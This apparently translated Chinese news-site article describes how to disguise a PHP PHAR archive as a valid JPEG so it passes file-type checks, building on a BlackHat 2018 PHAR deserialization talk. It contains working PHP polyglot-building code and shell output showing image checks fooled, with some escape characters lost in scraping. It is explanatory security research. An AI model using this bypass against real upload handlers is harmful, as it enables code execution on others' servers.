加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

如何将Phar文件包转化成图像从而绕过文件类型检测

发布时间:2018-10-20 02:22:30 所属栏目:业界 来源:lucywang
导读:在美国举办的BlackHat 2018大会上,已经有白帽黑客证明可以从PHAR包获得RCE,而且,通过调整其二进制内容,可以将其伪装成完整的有效图像,绕过安全检查。 背景 在美国举办的BlackHat 2018期间,来自英国网络安全公司Secarma的研究总监Sam Thomas召开了一

在花了太多时间来讨论JPEG规范和阅读PHP源代码后,我认为我可以简单的使用GIMP创建10×10黑色图像并嵌入其中。

  1. <?phpclass TestObject {} 
  2.  
  3. $jpeg_header_size =  
  4. "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13"."x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02"."x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15"."x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14"."x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01"."xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03"."x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11"."x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"."xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda"."x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; 
  5.  
  6. $phar = new Phar("phar.phar"); 
  7. $phar->startBuffering(); 
  8. $phar->addFromString("test.txt","test"); 
  9. $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); 
  10. $o = new TestObject(); 
  11. $phar->setMetadata($o); 
  12. $phar->stopBuffering(); 

现在,检查以下我的思考成果。

  1. tampe125@AlphaCentauri:~$ file phar.jpeg  
  2. phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a 
  3. php > var_dump(mime_content_type('phar.jpeg')); 
  4. php shell code:1:string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
  5. php shell code:1:bool(true) 
  6. php > var_dump(getimagesize('phar.jpeg')); 
  7. php shell code:1: 
  8. array(7) { 
  9.   [0] =>  int(10) 
  10.   [1] =>  int(10) 
  11.   [2] =>  int(2) 
  12.   [3] =>  string(22) "width="10" height="10"" 
  13.   'bits' =>  int(8)  'channels' =>  int(3)  'mime' =>  string(10) "image/jpeg"} 

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读